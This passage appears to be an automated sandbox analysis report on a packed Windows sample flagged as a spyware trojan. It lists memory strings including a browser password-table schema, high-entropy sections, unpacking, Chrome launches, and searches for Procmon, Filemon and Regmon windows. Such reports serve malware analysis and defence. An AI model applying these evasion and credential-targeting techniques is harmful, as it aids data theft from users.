Source: file.exe, 00000000.00000003.2353330236.00000000061CB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350310743.0000000005ED2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2357237822.0000000006145000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2349530542.0000000005EDB000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2360436825.0000000006170000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2358774535.0000000006160000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2367445888.00000000061A2000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2357701985.0000000006074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351798457.0000000006116000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2360161609.0000000006077000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2360851019.0000000006169000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2359580879.0000000006072000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2352848008.0000000006074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2362245061.0000000006079000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2368054975.0000000006077000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2353679080.000000000612F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2366592656.00000000061B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2357103610.0000000006074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2355715384.000000000607D000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2361639740.0000000006072000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2354349667.00000000061ED000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2356082525.0000000006147000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2361104465.0000000006260000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2362786994.000000000617B000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2367580575.00000000062DF000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2353916310.000000000607E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2366093378.00000000061A0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2367900203.00000000061C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2355152194.0000000006075000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2358944664.0000000006240000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2356740004.0000000006146000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2396393165.0000000005BF5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351606422.0000000006117000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2356383851.000000000607F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2352023798.00000000061C1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2362995506.0000000006286000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2364115656.000000000618A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351515020.0000000006078000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2367742029.000000000607E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2352474145.0000000006076000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2357943754.0000000006229000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2349656294.000000000607E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2360676145.0000000006074000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2361312026.0000000006079000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350050260.0000000006111000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2365904253.0000000006078000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350730660.0000000005ED3000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2354140026.0000000006077000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2359087082.0000000006077000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2351253434.0000000006078000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000002.2486114531.0000000005C65000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2354879280.0000000006140000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2350622516.000000000607E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2353450155.0000000006078000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2364427312.0000000006185000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2354452189.000000000607F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2356886197.000000000607F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2396493353.00000000013E6000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2366787476.00000000062F0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2353006618.0000000006119000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2361471910.0000000006172000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2359776797.0000000006153000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2364919117.0000000006199000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2358171621.0000000006157000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2364736973.000000000607A000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe
Source: file.exe, 00000000.00000003.2349120489.0000000005CEA000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamedefOff.exe. vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9974280631188119
Source: file.exe	Static PE information: Section: gfsnpvyd ZLIB complexity 0.9940880902570233

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/71@9/7

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe, 00000000.00000003.2157637410.0000000005BD7000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2179473199.0000000005BD3000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2157065322.0000000005BF6000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2179990377.0000000005C72000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: file.exe	String found in binary or memory: "app.update.lastUpdateTime.recipe-client-addon-run", 1696426836); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-load
Source: file.exe	String found in binary or memory: p.update.lastUpdateTime.recipe-client-addon-run", 1696426836); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-load
Source: file.exe	String found in binary or memory: p.update.lastUpdateTime.recipe-client-addon-run", 1696426836); user_pref("app.update.lastUpdateTime.region-update-timer", 0); user_pref("app.update.lastUpdateTime.rs-experiment-load
Source: file.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: file.exe	String found in binary or memory: 3The file %s is missing. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1972,i,17606009280702191283,8916399517189912732,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2012 --field-trial-handle=1932,i,6917140252110169909,6669424991198368365,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2052 --field-trial-handle=1972,i,17606009280702191283,8916399517189912732,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2012 --field-trial-handle=1932,i,6917140252110169909,6669424991198368365,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.shell.servicehostbuilder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wkscli.dll	Jump to behavior

Source: Google Drive.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.3.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: file.exe

Static file information: File size 1883136 > 1048576

Source: file.exe

Static PE information: Raw size of gfsnpvyd is bigger than: 0x100000 < 0x1a2400

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.380000.0.unpack :EW;.rsrc :W;.idata :W; :EW;gfsnpvyd:EW;cievrdhi:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;gfsnpvyd:EW;cievrdhi:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cbdda should be: 0x1cc51d

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: gfsnpvyd
Source: file.exe	Static PE information: section name: cievrdhi
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013E6F7C push edi; retf	0_3_013E6F82
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013E5744 push edx; iretd	0_3_013E5746
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013E6E26 pushfd ; iretd	0_3_013E6E58
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013F4CBC push ebp; ret	0_3_013F4CC1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013F4CBC push ebp; ret	0_3_013F4CC1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013F4CBC push ebp; ret	0_3_013F4CC1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013F4CBC push ebp; ret	0_3_013F4CC1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013F4CBC push ebp; ret	0_3_013F4CC1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013F4CBC push ebp; ret	0_3_013F4CC1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013F4CBC push ebp; ret	0_3_013F4CC1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013F4CBC push ebp; ret	0_3_013F4CC1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013F4CBC push ebp; ret	0_3_013F4CC1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013F2CDF push eax; iretd	0_3_013F2CE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013F2CDF push eax; iretd	0_3_013F2CE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013F2CDF push eax; iretd	0_3_013F2CE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013F2CDF push eax; iretd	0_3_013F2CE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013F2CDF push eax; iretd	0_3_013F2CE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013F2CDF push eax; iretd	0_3_013F2CE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013F2CDF push eax; iretd	0_3_013F2CE9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_3_013F2CDF push eax; iretd	0_3_013F2CE9

Source: file.exe	Static PE information: section name: entropy: 7.972929351390806
Source: file.exe	Static PE information: section name: gfsnpvyd entropy: 7.952873381530231

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
